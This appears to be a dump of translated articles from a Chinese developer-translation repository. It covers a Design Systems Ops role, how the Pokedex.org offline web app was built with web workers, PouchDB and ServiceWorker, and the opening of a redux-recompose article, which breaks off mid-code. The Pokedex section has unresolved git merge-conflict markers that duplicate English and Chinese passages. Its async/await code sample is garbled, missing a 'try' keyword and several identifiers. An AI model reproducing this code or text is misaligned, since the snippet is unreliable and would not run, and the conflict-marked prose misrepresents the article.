“_一个设计系统不是一个项目，它是一个产品，服务性产品_。”)。为了让设计系统在交付流程的不同阶段都显现出对应的价值，它需要适当规划，用户研究和方法（和很多热爱）。那些创造出最优设计系统的团队，都将设计系统的目标定位为_有生命力的设计系统_。\n\n### 引入 Design Systems Ops\n\n有生命力的设计系统和其他设计系统之间存在的差距是巨大的。这主要是因为开发团队和设计团队缺乏良好的沟通。最终，产品将用代码的格式呈现，在这过程中影响效率的任何事情都应该被检查。通过引入一个 Design Systems Ops 的角色（灵感来自[DevOps](https://en.wikipedia.org/wiki/DevOps) 运动），能够改善这些低效：\n\n![](https://cdn-images-1.medium.com/max/800/1*Bp4eHmFtS5pfdPHv4pEwdQ.png)\n\n<figcaption>通过在设计和开发间引入一位中间者，进一步减少低效，增加软件交付的还原度。</figcaption>\n\n来自于设计系统两边的许多问题：\n\n*   我从哪里可以找到标记、颜色面板、数值、图标、模式、断点？\n*   在制作原型时、在产品中、或者在 Web 视图中我应该如何加载 CSS？\n*   加载字体图标的最佳方式是什么？\n*   它们对性能有什么影响？\n*   我应该在哪里发现文件错误，又应该在哪里寻找其他人解决自身问题的办法（问题追踪，知识基础）？\n*   我该如何为设计系统做贡献（修复 bug 、增加一个图标）？\n*   我是一个参与者，我该怎样在多种环境中测试我的代码而不至于出错呢？\n*   我是一个开发者，对于设计系统我该知道些什么？\n*   我是一个设计师，我该怎样迭代浏览器中的现有模式？\n*   从 v1.0 到 v2.0 的升级路径是什么？\n*   0.5.0 版本的文档在哪里？\n\n我学习了一些像 [Bootstrap](http://getbootstrap.com/) 和 [Material Design Lite](http://getmdl.io/) 这样的开源项目。在《卫报》, [我开始构建起设计和开发的桥梁](https://www.youtube.com/watch?v=ciG-A_1FyVg)，里面提到主要采用 Sass 。在金融时报为 [Origami](http://origami.ft.com) 项目工作时也帮助我发现规模化设计的新思路。 我今天工作的地方， [Salesforce](https://www.lightningdesignsystem.com)，有一个团队的工程师作为 Design Systems Ops，热衷于将更快更好的代码交付给用户。\n\n在回顾我过往如何规模化设计的经验之后，这些都是 Design System Ops 可以做的工作：\n\n*   本地开发环境（源映射，无刷新重载，速度）\n*   托管（放置设计展示和文档）\n*   代码演示（比如 CodePen、JS Bin）\n*   技术文档（安装、问题诊断）\n*   前端自动化测试（可访问性、集成）\n*   跨浏览器自动化测试\n*   视觉回归测试\n*   代码风格检查 ([我之前写的](https://www.theguardian.com/info/developer-blog/2014/may/13/improving-sass-code-quality-on-theguardiancom))\n\n前面这一系列是以前端为中心的，但是这里有些更接近后端的：\n\n*   构建系统\n*   资源储存和分布（CDN、压缩）\n*   性能测试（资源大小、服务器加载、CDN 响应时间等等）\n*   版本流程（比如 git、SemVer）\n*   发布流程 （比如 [持续开发](http://radar.oreilly.com/2009/03/continuous-deployment-5-eas.html)、[持续集成](http://guide.agilealliance.org/guide/ci.html)）\n*   Testing/Staging阶段环境\n*   展现测试和性能结果（比如 仪表板、邮件）\n\n或者，更靠近市场营销这边的事情（开发宣传）：\n\n*   构建示例\n*   帮助开发者实现这套设计系统\n*   给开发社区布道这套设计系统\n\n就像前面提到的，在这些方面有坚实的解决方案能很大地帮助设计团队提高交付质量，并提高工作的速度和信心。**这是为什么我相信在设计团队中有个好的参谋将增加项目成功的可能性。**\n\n### 总结\n\n随着越来越多的公司构建属于自己的设计系统，他们也开始显示出增加技术人员去支持设计的工作和工具的兴趣。因为它只是这个角色的开始，有些问题也让我夜不能寐。\n\n*   **Design Systems Ops 能在其他方面做些什么？**\n*   **什么工具能帮助小型团队在成本有限的情况下遵循这个路线呢？**\n*   **除了开发速度，还有那些方面应该是Design Systems Ops应该评判的？**\n\n我非常乐意听听你的看法，如果你也在旧金山，来[喝杯咖啡](https://twitter.com/kaelig)聊一聊。\n\nDesign Systems Ops 并没有我凭空产生的想法，要理解我想法的由来，你可以阅读[Ian Feather's awesome presentation about Front End Ops](http://ianfeather.co.uk/presentations/front-end-ops/).\n\n同样， 听 [Design Details](http://spec.fm/) 播客，全世界许多优秀的设计师都在那里分享他们创造设计系统和风格指南的经验。\n\n如果你想从整体上讨论设计系统或者想要更多地了解它们，不要错过 2016年3月31日到4月1日在旧金山举行的 [Clarity Conference](http://clarityconf.com/) （由设计系统女王自己组织: [jina ₍˄ุ.͡˳̫.˄ุ₎](https://medium.com/u/f5d1807b438)).\n"
  },
  {
    "path": "TODO/introducing-pokedex-org/introducing-pokedex-org.md",
    "content": "> * 原文链接 : [Introducing Pokedex.org: a progressive webapp for Pokémon fans — Pocket JavaScript](http://www.pocketjavascript.com/blog/2015/11/23/introducing-pokedex-org)\n* 原文作者 : [NOLAN LAWSON](http://www.pocketjavascript.com/?author=539b3a09e4b0dc27b9618c7a)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : RobertWang\n* 校对者: [达仔(*/ω＼*)](https://github.com/Zhangjd)\n* 状态 : 待定\n\n众所周知，移动网络背负着速度慢的坏名声，但在如何修复的问题上并不缺少不同的意见。\n\n近日，Jeff Atwood 令人信服地论证了[单线程的 JavaScript 在 Android 设备上的状态表现差](https://meta.discourse.org/t/the-state-of-javascript-on-android-in-2015-is-poor/33889)。然后 Henrik Joreteg 也质疑[JavaScript框架的在移动端生存能力](https://joreteg.com/blog/viability-of-js-frameworks-on-mobile)，他说对于在移动网络上运行像 Ember 和 Angular (这样的)框架太过臃肿。(为了后续良好的讨论，请参见这些文章[框架的代价](https://aerotwist.com/blog/the-cost-of-frameworks/), [js框架与移动性能](http://tomdale.net/2015/11/javascript-frameworks-and-mobile-performance/))\n\n观点陈述：Atwood 说问题是单线程; Joreteg 说，问题是移动网络。我认为他们都是对的。就像做 Android 开发与做 web 开发差不多，我可以直接告诉你，在我开发一套高性能的原生应用时，最关心的就是网络和并发能力。\n\n问任何 iOS 或 Android 开发者，怎样使我们的应用更快，你极有可能听到以下两个主要的策略：\n\n\n1.  **禁用网络调用** 即使是在较好的 `3G` 或 `4G` 连接状态下，活跃的网络活动将严重损耗移动应用的性能。让用户盯着加载进度并不是良好的用户体验。\n2.  **使用后台线程** 要产生 60FPS 的流畅感，你在主线程上的操作必须少于 16ms。任何与 UI(用户界面) 不相关的工作都将转交给一个后台线程去完成。\n\nI believe the web is as capable of solving these problems as native apps, but most web developers just aren't aware that the tools are out there. For the network and concurrency problems, the web has two very good answers:\n我认为 web 完全可以像原生应用一样解决这些问题，只是大多数 Web 开发者并不知道这些工具就在那儿。对于网络和并发的问题，web 有两个非常好的办法：\n\n* [离线优先](http://offlinefirst.org/)（比如选用[IndexedDB](http://w3c.github.io/IndexedDB/)和[ServiceWorkers](https://ponyfoo.com/articles/serviceworker-revolution))\n* [Web workers](http://www.html5rocks.com/en/tutorials/workers/basics/)\n\n<<<<<<< HEAD\n我决定将这些想法放在一起，构建一个像native app一样引人注目的，有丰富交互体验的 webapp，但它 “仅仅” 是一个网站。依据 Chrome 小组的准则，我构建了 [Pokedex.org](http://pokedex.org) - 这是一个离线工作的[先进的网页应用(progressive webapp)](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/)，它可以从主屏幕启动，甚至在普通的 Android 手机上运行在 60FPS。这篇博客文章就来介绍是我如何做的。\n=======\n* [Offline-first](http://offlinefirst.org/) (e.g. [IndexedDB](http://w3c.github.io/IndexedDB/) and [ServiceWorkers](https://ponyfoo.com/articles/serviceworker-revolution))\n* [Web workers](http://www.html5rocks.com/en/tutorials/workers/basics/)\n\nI decided to put these ideas together and build a webapp with a rich, interactive experience that's every bit as compelling as a native app, but is also \"just\" a web site. Following guidelines from the Chrome team, I built [Pokedex.org](http://pokedex.org/) – a [progressive webapp](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/) that works offline, can be launched from the home screen, and runs at 60 FPS even on mediocre Android phones. This blog post explains how I did it.\n>>>>>>> 06ed450db073609c8c52de344a6823bb5efb695b\n\n## 口袋妖怪 - 一个雄心勃勃的目标\n\n对于那些不知道口袋妖怪世界的人，口袋妖怪图鉴是一本包含数以百计的可爱的小生物，以及他们的属性、类型、进化和移动信息的百科全书。按照一个儿童游戏的规则，这将是信息量大得惊人(若你想烧脑，可以更深入地研究[成就值](http://bulbapedia.bulbagarden.net/wiki/Effort_values)参数)。所以，这将是一个雄心勃勃的Web应用程序的理想选择。\n\n![](introducing-pokedex-org/DeliriousNeedyAnophelesmosquito.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/DeliriousNeedyAnophelesmosquito.mp4) 或 <video width=\"400\" poster=\"//nolanlawson.s3.amazonaws.com/vid/DeliriousNeedyAnophelesmosquito.png\"><source src=\"http://nolanlawson.s3.amazonaws.com/vid/DeliriousNeedyAnophelesmosquito.webm\" type=\"video/webm\"> <source src=\"http://nolanlawson.s3.amazonaws.com/vid/DeliriousNeedyAnophelesmosquito.mp4\" type=\"video/mp4\"></video> \n\n第一个问题是获取数据，这个很容易，多亏了精彩的[Pokéapi](http://pokeapi.co/)。第二个问题是，如果我们希望应用程序脱机工作，数据库过于庞大，不能保持在内存中，所以我们需要巧妙地使用使用 IndexedDB 和/或 ServiceWorker。\n\n这个程序，我决定使用[PouchDB]（http://pouchdb.com/）保存口袋妖怪数据（因为它擅长同步），同时使用[LocalForage](https://github.com/mozilla/localForage)作为应用的状态数据存储（因为它有一个很好的键值API(key-value API)）。 PouchDB 和 LocalForage 都在 web worker 中使用 IndexedDB，这意味着任何数据库操作者将是[完全无阻塞](http://nolanlawson.com/2015/09/29/indexeddb-websql-localstorage-what-blocks-the-dom/)。\n\n然而，事实是在第一次加载网站时口袋妖怪数据并是不能马上可用的，因为它需要一段时间从服务器同步数据。为此，我还使用了回退策略“优先本地，再远端”：\n\n![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/56437650e4b08c803b7dcf42/1447261785905/?format=1500w)\n\n在网站第一次加载时，PouchDB开始从远端数据库同步，我在项目中使用的是[Cloudant](http://cloudant.com/)（一个CouchDB即服务的提供者）。由于 `PouchDB` 具有本地和远程两套API，可以很容易地从本地数据库查询，如果查询失败才去远程数据库查询：\n\n ```\n async function getById() {\n   {\n    return await localDB.();\n  } catch () {\n    return await remoteDB.();\n  }\n}\n```\n\n（没错，我决定在这个应用中使用[ES7 async/await](http://pouchdb.com/2015/03/05/taming-the-async-beast-with-es7.html)机制，使用[Regenerator](https://github.com/facebook/regenerator)和[Babel](http://babeljs.io/)，通过最小化/gzip压缩构建后的大小增加了不到 4KB ，方便了开发者，所以这样做还是非常值得的。）\n\n所以当该网站第一次加载，这是一个相当标准的 AJAX 应用，使用 Cloudant 获取和显示数据。一旦同步完成（在较好的连接状态下只需要几秒钟），所有交互将成为纯粹的本地访问，这京意味着应用可以运行的更快，而且还能脱机工作。这是实现应用“先进的”体验的途径之一。\n\n## 我喜欢你的工作方式\n\n我还在这个应用中大量引入[web worker](http://www.html5rocks.com/en/tutorials/workers/basics/)。一个 web worker 的本质是一个后台线程，你可以访问除了 DOM 之外，浏览器中几乎所有的 API，在 worker 内部执行的事情并不会阻塞 UI，这是有益处的。\n\n从[web worker](http://www.html5rocks.com/en/tutorials/workers/basics/) [文献](http://ejohn.org/blog/web-workers/)了解 web worker，可能你误以为 web worker 作用仅仅是有限的校验、解析和其他费时的计算任务。然而，事实上 Angular 2 正计划一种架构，[让 web worker 几乎存活在整个应用生命周期](https://docs.google.com/document/d/1M9FmT05Q6qpsjgvH1XvCm840yn2eWEg0PMskSQz7k4E)，这在个理论上能够提高并行并减少 jank，特别是在移动端。类似技术 [Flux](https://medium.com/@nsisodiya/flux-inside-web-workers-cc51fb463882#.ooz0ho5si) 和 [Ember](http://blog.runspired.com/2015/06/05/using-webworkers-to-bring-native-app-best-practices-to-javascript-spas/) 也在探索，尽管现在还没有实质结果。\n\n\n\n>\t这样做是为了整个应用应该运行在[一个 web worker]中，并将渲染指令发送给 UI 端。\n\n— Brian Ford, Angular 核心开发者\n\n\n\n([来源](https://twitter.com/briantford/status/649332944478171136))\n\n因为我喜欢生活在最前沿，我决定对 Angular 2 的概念进行一个测试，并几乎将整个应用程序运行在内部的 web worker 上，将 UI 线程的责任限制在渲染和动画方面。从理论上讲，这应该最大限度地提高并行能力并榨取多核智能手机的所有价值，解决 Atwood 关于单线程的 JavaScript 性能问题。\n\n我仿效 React/Flux 对应用架构，但在这个案例中，我使用的是较低级别的[虚拟DOM(virtual-dom)](https://github.com/Matt-Esch/virtual-dom)，还有一些我写的辅助库，[vdom-as-json](https://github.com/nolanlawson/vdom-as-json)和[vdom-serialized-patch](https://github.com/nolanlawson/vdom-serialized-patch)，它可以将 DOM 以补丁的形式序列化为 JSON，使这些补丁可以从 web worker 发送到主线程。基于[与 IndexedDB 规范的作者 Joshua Bell 咨询](https://code.google.com/p/chromium/issues/detail?id=536620#c11)的建议，与 worker 通讯过程的中我用的也是 JSON 字符串。\n\n该应用程序的结构如下所示：\n\n![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/5643750fe4b0b66656c229f2/1447261866614/?format=1500w)\n\n需要注意的是，整个 “Flux” 的应用可以在 web worker 里面，同样还有“渲染”、“差异”和一部分“渲染/差异/补丁”管道，因为这些操作都没有依赖 DOM。唯一需要在 UI 线程上做的事情就是补丁，也就是要使用的 DOM 指令最小集合。而且，由于此补丁操作（通常）较少，序列化的成本可以忽略不计。\n\n为了说明这一点，这里有一个从 Chrome 探查记录中得到的时间表，使用的是 Nexus5 Android5.1.1 上运行的 Chrome47。时间线从用户点击一个口袋妖怪列表中的那一刻开始，也就是当“详情”面板的被打上补丁，然后向上滑动进入到视图中：\n\n![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/564fc693e4b0328b44c0d443/1448068755659/?format=2500w)\n\n（应用 patch 和计算 FLIP 动画之间的延迟是有意而为的，目的是为了播放“波动”的动画。）\n\n需要重点注意的一点是，UI 线程在用户监听与应用补丁之间都是完非阻塞的。此外，补丁在(`JSON.parse()`)反序列化时也是微不足道的；它甚至不时间轴上记录。我测量了单次请求 `worker` 自身的开销，通常在5-15ms范围（虽然它最高峰偶尔高达200毫秒）。\n\n现在让我们看看去掉 worker ，并把这些业务放回到 UI 线程上会是什么样子：\n\n\n![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/564fc6aae4b0328b44c0d4c3/1448068779271/?format=1500w)\n\n哇耐莉，有很多的操作发生在 UI 线程上！除了 IndexedDB 引入了一些轻微的 DOM 阻塞，同样还有渲染/差异对比的操作，明显比使用补丁代价更高。\n\n您还会注意到，这两个版本大约需要相同的时间（300-400ms），但前者比后者阻塞 UI 线程的更少。在我的例子中，我使用 GPU 加速的 CSS 动画，所以你不会注意到两种方式太大的差别。但你可以设想下，在一个更复杂的应用中，可能有很多 JavaScript 逻辑同时抢着占用 UI 线程（比如，第三方广告、滚动效果等等）这个技巧就意味着UI卡顿和平滑的区别了。\n\n## 先进的渲染\n\n虚拟的DOM的另一个好处是，我们可以在服务器端预先渲染应用的初始状态。我使用[vdom-to-html](https://github.com/nthtran/vdom-to-html/)渲染排在前面的30个口袋妖怪，把 HTML 直接内嵌到页面中。 （把HTML内嵌到我们的HTML中！是怎样一个概念。）虚拟 DOM 在客户端重新合成，它和使用[vdom-as-json](https://github.com/nolanlawson/vdom-as-json)建立初始的虚拟DOM状态一样简单。\n\n\n![Pokedex.org with JavaScript disabled.](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/5651f0d3e4b0a376ef814bfa/1448210644766/?format=1500w)\n\n禁用JavaScript的Pokedex.org效果。\n\n同样，我也内嵌了最关键的 CSS 和 JavaScript，非关键的 CSS 的异步加载得益于[pretty nifty hack](http://stackoverflow.com/a/32614409/680742)。在[pouchdb-load](https://github.com/nolanlawson/pouchdb-load)插件也被充分利用于更快的初始复制。\n\n关于托管，我只是把静态文件放在[Amazon S3](https://aws.amazon.com/s3/)上，使用[Cloudflare](https://www.cloudflare.com/)提供的SSL。 （ServiceWorkers需要SSL。）Gzip、缓存头和 SPDY 都是 CloudFlare 自动处理的。\n\n在 Chrome 的开发工具使用 2G 网络的节流中测试，站点设法在 5 秒钟内得到 DOMContentLoaded，首次绘制大约用 2 秒钟完成。这意味着在 JavaScript 是被加载的同时，用户至少能看到_一部分内容_，这大大地改善网站感观上的性能。\n\n“在 web worker 中执行一切”的做法也有助于用渐进式渲染，因为大多数与 UI 相关的 JavaScript（点击动画，侧边菜单的行为等），可以在一个小的 JavaScript 的初始包进行加载，反之，而更大的“框架”包只在 web worker 启动时加载。在我的案例中，用户界面包体积在压缩后有 24KB，而 worker 包是 90KB。这意味着，在整个“框架”下载的时候，在网页上至少有一些小的 UI 不断地丰富起来。\n\n当然了，ServiceWorker 也存储所有静态的“应用外壳”(资源) - HTML，CSS，JavaScript和图像。我使用的是 先本地后远程 策略，以确保最佳的离线体验，代码主要是从 Jake's Archibald 优美的[SVGOMG](https://github.com/jakearchibald/svgomg)中借来的（当然，其实是偷来的）代码。就像 SVGOMG 那样，应用也会弹出一个 toast 消息，提示用户app工作在离线状态，以消除用户疑虑。（这是新的技术，用户需要了解一下吧！）\n\n\n![](introducing-pokedex-org/offline-pokedex.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/offline-pokedex.mp4) 或 <video width=\"400\" poster=\"//nolanlawson.s3.amazonaws.com/vid/offline-pokedex.png\"><source src=\"http://nolanlawson.s3.amazonaws.com/vid/offline-pokedex.webm\" type=\"video/webm\"> <source src=\"http://nolanlawson.s3.amazonaws.com/vid/offline-pokedex.mp4\" type=\"video/mp4\"></video> \n\n\n归功于 ServiceWorker，后续的页面加载完全不会受到网络限制。因此首次访问后，整个站点完全本地化了，这意味着页面可以在一秒钟不到以内渲染出来。（根据设备速度，可能会比这稍慢。）\n\n## 动画\n\n因为我的目标是让应用跑在 60FPS 上，甚至是低端机，为此我选择了 Paul Lewis 著名的[FLIP 技术](https://aerotwist.com/blog/flip-your-animations/)处理动态的动画，只使用硬件加速的 CSS 属性（即 transform 和 opacity）。结果是这样美丽[material design](https://www.google.com/design/spec/material-design/introduction.html)风格的动画，它运行得很好，甚至在我早期的 Galaxy Nexus 的手机上：\n\n![](introducing-pokedex-org/SlimySelfishHermitcrab.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/SlimySelfishHermitcrab.mp4) 或 <video width=\"400\" poster=\"//nolanlawson.s3.amazonaws.com/vid/SlimySelfishHermitcrab.png\"><source src=\"http://nolanlawson.s3.amazonaws.com/vid/SlimySelfishHermitcrab.webm\" type=\"video/webm\"> <source src=\"http://nolanlawson.s3.amazonaws.com/vid/SlimySelfishHermitcrab.mp4\" type=\"video/mp4\"></video> \n\n关于 FLIP 动画最好的部分是，结合了 JavaScript 的灵活性和 CSS 动画的性能。因此，尽管口袋妖怪的初始状态是不预先确定，我们的动画依然可以从列表的任意位置变换到某个详细视图的固定位置，我们也可以并行运行许多动画 - 注意到该背景填充，子画面的运动，并且面板滑动三个独立的动画。\n\n我与 Lewis 的 FLIP 算法唯一不同，也仅仅是稍微不同，是口袋妖怪的动画。因为原图和目标图的位置摆放都不利于动画实现，为此我不得不创建第三个精灵，绝对定位在身体内，在两者之间过渡时作为幌子。\n\n## 技巧\n\n当然，如果你没有密切注视 Chrome 分析工具，并时常用真机检验你的假设，任何 webapp 都可能会变慢。一些我碰到的问题：\n\n1. CSS sprites 能很好的减少负荷大小，但他们由于过多的内存使用拖慢应用。我最终选择使用内联Base64。\n2. 我需要一个高性能的滚动列表，而我从[Ionic collection-repeat](http://ionicframework.com/blog/collection-repeat/)，[Ember list-view](https://github.com/emberjs/list-view)和[Android ListView](https://developer.android.com/guide/topics/ui/layout/listview.html)获得了一些灵感，构建一个简单的 `<ul>` 那_仅仅_是用来呈现并保存这些 `<li>` 的可见视图。这样减少了内存的使用，让动画和触摸交互更加迅捷。再一个，所有列表的计算和差异都是在 `web worker` 内部完成，所以滚动效果能保持流畅。这一点也适用于将多达 649 个口袋妖怪一次显示。\n3. 仔细地选择你你用的库！我使用[MUI](http://muicss.com/)作为我的“素材” CSS 库，这是在非常棒的引导，但可悲的是我发现它基本没有做性能优化。所以，最后我不得不自己重构了部分代码。例如，侧面菜单最初是使用 `margin-left` 而不是 `transform`，从而导致[在移动设备上的难伺候的动画(janky animations on mobile)](https://youtu.be/Q-nxiBNxCA4)。\n4. 事件监听器是一种威胁。MUI 一度给每个 `<li>` 标签添加事件监听（为了\"水波纹\"效果），尽管使用了硬件加速 CSS 动画，但还是因为内存占用问题导致速度变慢。幸运的是，Chrome 浏览器开发工具中有一个“显示滚动优先的问题(Show scrolling perf issues)”复选框，立即就发现了问题：\n\n![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/56437d45e4b07a45a8692ee2/1447263577485/?format=1500w)\n\n作为这个问题的一个变通方案，我把一个事件监听绑定到整个 `<ul>` 上，`<ul>` 负责展现每个 `<li>` 标签的水波纹动画(事件委托)。\n\n## 浏览器支持\n\n事实证明，很多我上面提到的 API 不能完美地支持所有浏览器。最值得注意的是，在 Safari、iOS、IE 或 Edge 中 ServiceWorker 是不可用的。 （Firefox很快将在 nightly 版本中交付。）这意味着离线功能将不会在这些浏览器上正常工作 - 如果你没有连接的情况下刷新了页面，内容将不存在了。\n\n我遇到的另一个障碍是[Safari不支持在 web worker 中 使用 IndexedDB (Safari does not support IndexedDB in a web worker)](https://bugs.webkit.org/show_bug.cgi?id=149953)，这意味着我不得不写一个解决办法，以避免 web worker 在Safari，只是使用通过 WebSQL 来使用 PouchDB/LocalForage。 Safari 也还是有 350 毫秒延迟，我选择不去[修复快速点击(FastClick hack)](https://github.com/ftlabs/fastclick) 的问题，因为我知道，Safari 将在[即将发布的版本(an upcoming release)](https://twitter.com/jaffathecake/status/659174357583814656)中进行修复。动量滚动，也破坏了iOS的体验，原因我暂时还不知道。（**更新：**[貌似]（https://github.com/nolanlawson/pokedex.org/issues/4）需要 `-webkit-overflow-scroll: touch`）\n\n出乎意料的是，Edge 和 FirefoxOS 都可以正常工作（除了 ServiceWorker）。FirefoxOS 甚至有状态栏的主题颜色，而且很整齐。我还没有在 Windows Phone 上测试过。\n\n当然了，如果修复这些兼容性问题，我还有成千上万的工作要做 - [苹果触摸Icons(Apple touch icons)](https://developer.apple.com/library/ios/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html)而不是[Web Manifests](http://www.w3.org/TR/appmanifest/)，[AppCache](http://alistapart.com/article/application-cache-is-a-douchebag)，而不是 ServiceWorker ，FastClick，等等。尽管如此，我对这个应用设定的目标是对那些非标准兼容的浏览器_逐渐降级_提高体验质量。对于支持 ServiceWorker 的浏览器，该应用是一个丰富的，高品质的离线应用。而在其他的浏览器，它只是一个网站。\n\n对我而言，这些都没什么关系。我坚信，如果我们期望浏览器厂商有动力来提高他们的实现，那web开发者需要在这些事情上做出推动。引用 WebKit 开发者 Dean Jackson 的话，他们没有优先考虑 IndexedDB 的原因之一是他们觉得[它看上去并没什么用(\"don't see much use.\")](https://twitter.com/grorgwork/status/610905347306328065)。换句话说，假如有很多优秀的网站使用了 IndexedDB ，那么 WebKit 也将推动实现它。但开发者们没有广泛参与使用这些新特性，所以浏览器厂商也没有投入太多支持了。\n\n如果我们只使用那些支持 IE8 的特性，那我们就只能逼着自己生活中 IE8 世界中了。这个 app 就是对那种心态的一个抗议。\n\n## 待做的事情\n\n对这个应用而言，仍然还有许多有待改进。我来说有一些悬而未决的问题，特别是涉及 ServiceWorker：\n\n1. **如何处理路由？** 比如我用“正确”的方式使用 HTML5 History API（而不是哈希的URL），这是否意味着我在在服务器端、客户端_以及_ ServiceWorker 中重复我的路由逻辑？似乎需要这样。\n2.**如何更新ServiceWorker？** 我将各版本的数据都存储在 ServiceWorker 缓存中，但我不知道如何为现有用户清理陈旧数据。目前，他们需要刷新页面或重新启动他们的浏览器使 ServiceWorker 更新，尽管我不想如此，但又只能这样。\n3. **如何控制该应用的横幅？** Chrome浏览器会显示一个“安装到主屏幕”的横幅，如果你在同一个星期访问该网站的两倍（从某种启发算法），但我真的很喜欢这种方式[Flipkart精简版(Flipkart Lite)](http://flipkart.com/)捕获的横幅事件，使他们可以启动它自己。这样体验感觉才更加合理。\n\n![](introducing-pokedex-org/pokedex-install-banner.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/pokedex-install-banner.mp4) 或 <video width=\"400\" poster=\"//nolanlawson.s3.amazonaws.com/vid/pokedex-install-banner.png\"><source src=\"http://nolanlawson.s3.amazonaws.com/vid/pokedex-install-banner.webm\" type=\"video/webm\"> <source src=\"http://nolanlawson.s3.amazonaws.com/vid/pokedex-install-banner.mp4\" type=\"video/mp4\"></video> \n\n## 结论\n\n在移动端上 web 也很迅速地追赶上来，当然，也总有需要改进的。就像每一个好的口袋妖怪，我希望 Pokedex.org 会越来越完善，[比起任何 app 都要棒(like no app ever was)](https://www.youtube.com/watch?v=DqXlSwBIHFc)\n\n所以我鼓励大家都可以看一看[在 Github 上的源码](https://github.com/nolanlawson/pokedex.org/)，并告诉我在哪里可以得到改善。就现在而言，我觉得 Pokedex.org 是一个华丽的、沉浸式的移动应用，另外它也是量身订做的网页。我希望它可以演示 2015 年的 web 能提供的一些伟大的特性，同时也为口袋妖怪的忠实粉丝们提供了宝贵的资源。\n\n_感谢 `Jacob Angel` 为这个博文草稿提供的反馈建议_\n\n_想了解 Pokedex.org 背后更多技术，可查看[我的“先进的Web应用”阅读列表](https://gist.github.com/nolanlawson/d9e66349635452a95bb1)._\n"
  },
  {
    "path": "TODO/introducing-redux-recompose.md",
    "content": "> * 原文地址：[Introducing redux-recompose: Tools to ease Redux actions and reducers development](https://medium.com/wolox-driving-innovation/932e746b0198)\n> * 原文作者：[Manuel V Battan](https://medium.com/@manuelvbattan?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/introducing-redux-recompose.md](https://github.com/xitu/gold-miner/blob/master/TODO/introducing-redux-recompose.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[congFly](https://github.com/congFly)、[FateZeros](https://github.com/FateZeros)\n\n# redux-recompose 介绍：优雅的编写 Redux 中的 action 和 reducer\n\n![](https://cdn-images-1.medium.com/max/2000/1*YFWtliBac9cTpe5gKKMixQ.png)\n\n去年一年做了不少 React 和 React Native 项目的开发，而且这些项目都使用了 Redux 来管理组件状态 。碰巧，这些项目里有很多具有代表性的开发模式，所以趁着我还在 Wolox，在分析、总结了这些模式之后，开发出了 [redux-recompose](https://github.com/Wolox/redux-recompose)，算是对这些模式的抽象和提升。\n\n* * *\n\n### 痛点所在\n\n在 Wolox 培训的那段时间，为了学 redux 看了 [Dan Abramov’s 在 Egghead 上发布的 Redux 教程](https://egghead.io/courses/getting-started-with-redux)，发现他大量使用了 `switch` 语句：我闻到了点 __坏代码的味道__。\n\n在我接手的第一个 React Native 项目中，开始的时候我还是按照教程上讲的，使用 `switch` 编写 reducer。但不久后就发现，这种写法实在难以维护：\n\n```javascript\nimport { actions } from './actions';\n\nconst initialState = {\n  matches: [],\n  matchesLoading: false,\n  matchesError: null,\n  pitches: [],\n  pitchesLoading: false,\n  pitchesError: null\n};\n\n/* eslint-disable complexity */\nfunction reducer(state = initialState, action) {\n  switch (action.type) {\n    case actions.GET_MATCHES: {\n      return { ...state, matchesLoading: true };\n    }\n    case actions.GET_MATCHES_SUCCESS: {\n      return {\n        ...state,\n        matchesLoading: false,\n        matchesError: null,\n        matches: action.payload\n      };\n    }\n    case actions.GET_MATCHES_FAILURE: {\n      return {\n        ...state,\n        matchesLoading: false,\n        matchesError: action.payload\n      };\n    }\n    case actions.GET_PITCHES: {\n      return { ...state, pitchesLoading: true };\n    }\n    case actions.GET_PITCHES_SUCCESS: {\n      return {\n        ...state,\n        pitches: action.payload,\n        pitchesLoading: false,\n        pitchesError: null\n      };\n    }\n    case actions.GET_PITCHES_FAILURE: {\n      return {\n        ...state,\n        pitchesLoading: false,\n        pitchesError: null\n      };\n    }\n  }\n}\n/* eslint-enable complexity */\n\nexport default reducer;\n```\n\n到后面 reducer 里的条件实在是太多了，索性就把 eslint 的复杂度检测关掉了。\n\n另一个问题集中在异步调用上，action 的定义中大量充斥着 __SUCCESS__ 和 __FAILURE__ 这样的代码，虽然这可能也不是什么问题，但是还是引入了太多重复代码。\n\n```javascript\nimport SoccerService from '../services/SoccerService';\n\nexport const actions = createTypes([\n  'GET_MATCHES',\n  'GET_MATCHES_SUCCESS',\n  'GET_MATCHES_FAILURE',\n  'GET_PITCHES',\n  'GET_PITCHES_SUCCESS',\n  'GET_PITCHES_FAILURE'\n], '@SOCCER');\n\nconst privateActionCreators = {\n  getMatchesSuccess: matches => ({\n    type: actions.GET_MATCHES_SUCCESS,\n    payload: matches\n  }),\n  getMatchesError: error => ({\n    type: actions.GET_MATCHES_ERROR,\n    payload: error\n  }),\n  getPitchesSuccess: pitches => ({\n    type: actions.GET_PITCHES_SUCCESS,\n    payload: pitches\n  }),\n  getPitchesFailure: error => ({\n    type: actions.GET_PITCHES_FAILURE,\n    payload: error\n  })\n};\n\nconst actionCreators = {\n  getMatches: () => async dispatch => {\n    // 将 loading 状态置为 true\n    dispatch({ type: actions.GET_MATCHES });\n    // -> api.get('/matches');\n    const response = await SoccerService.getMatches();\n    if (response.ok) {\n      // 存储 matches 数组数据，将 loading 状态置为 false\n      dispatch(privateActionCreators.getMatchesSuccess(response.data));\n    } else {\n      // 存储错误信息，将 loading 状态置为 false\n      dispatch(privateActionCreators.getMatchesFailure(response.problem));\n    }\n  },\n  getPitches: clubId => async dispatch => {\n    dispatch({ type: actions.GET_PITCHES 